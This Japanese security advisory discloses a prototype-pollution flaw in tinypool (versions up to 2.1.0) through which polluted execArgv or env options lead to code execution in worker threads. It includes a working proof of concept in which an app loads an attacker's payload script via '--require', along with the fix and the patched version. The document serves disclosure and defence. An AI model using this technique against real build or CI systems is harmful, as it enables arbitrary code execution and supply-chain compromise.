Tinypool: `worker` オプションにおけるプロトタイプ汚染により、リモートコード実行が可能になる
`tinypool` は、`new Worker()` に `worker` オプションを渡す際に、プレーンオブジェクトから読み取った値を渡します。そのオブジェクトのプロトタイプは `Object.prototype` です。アプリケーションが設定しなかったオプションは、プロトタイプチェーンを通じて解決され、その後、`worker_threads.Worker` に明示的に渡されます。
Node.js のコアは、`Object.prototype` から継承された `Worker` オプションを無視します。`tinypool` は、それらを読み取り、明示的に渡すことで、それらを独自のプロパティとして再定義し、その保護を回避します。
以下の2つのキーがコード実行をトリガーします。
1. **`execArgv`**: `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` を汚染することで、すべてのプール内のワーカーが攻撃者のスクリプトをロードします。
2. **`env`**: `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` を汚染することで、同様に環境変数を注入して同じ結果を得ます。
## 根本原因
`dist/index.js` の 508~511 行:
```js
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
```
`this.options` は、470 行でオブジェクトのスプレッド構文を使用して構築されます。
```js
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
```
## 影響
プールが生成するすべてのワーカー内で、ホストプロセスの権限で任意のコードが実行される可能性があります。`tinypool` は、Vitest の裏側のワーカープールであり(週あたり約 4200 万ダウンロード)、影響範囲は開発者のマシンや CI ランナーに及びます。依存関係ツリーのどこかにプロトタイプ汚染の脆弱性があると、攻撃者はビルド/テストパイプラインでコードを実行でき、サプライチェーンへの侵入口(CI のシークレット、署名キー、成果物の公開など)となります。
## 実証コード
最小限の再現例(3 つのファイル):
**worker.mjs** — アプリケーション自身の正当なワーカー:
```js
export default function double(n) { return n * 2 }
```
**payload.js** — 攻撃者によって制御されるコード(アプリケーションからは参照されない):
```js
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'コード実行が達成されました。プロセスID=' + process.pid)
console.log('*** RCE ***')
```
**app.js** — 通常のtinypoolの使用例:
```js
const path = require('path')
// 上流のPPソース(lodash/qs/minimist/set-value/deepmerge)をシミュレート
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('poolからの戻り値:', r) // 42 — アプリケーションは通常通り動作
pool.destroy()
})
```
実行方法:
```
npm i tinypool@2.1.0
node app.js
cat /tmp/RCE_PROOF.txt # 攻撃者のコードが実行された
```
Node 20では、`execArgv`と`env`の両方の脆弱性が確認されました。
## 推奨される修正
workerのオプションを、自身のプロパティとして扱うように修正:
```js
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
```
影響を受けるパッケージ:
- npm (JavaScript) tinypool: 影響を受けるバージョン <= 2.1.0、2.1.1で修正済み。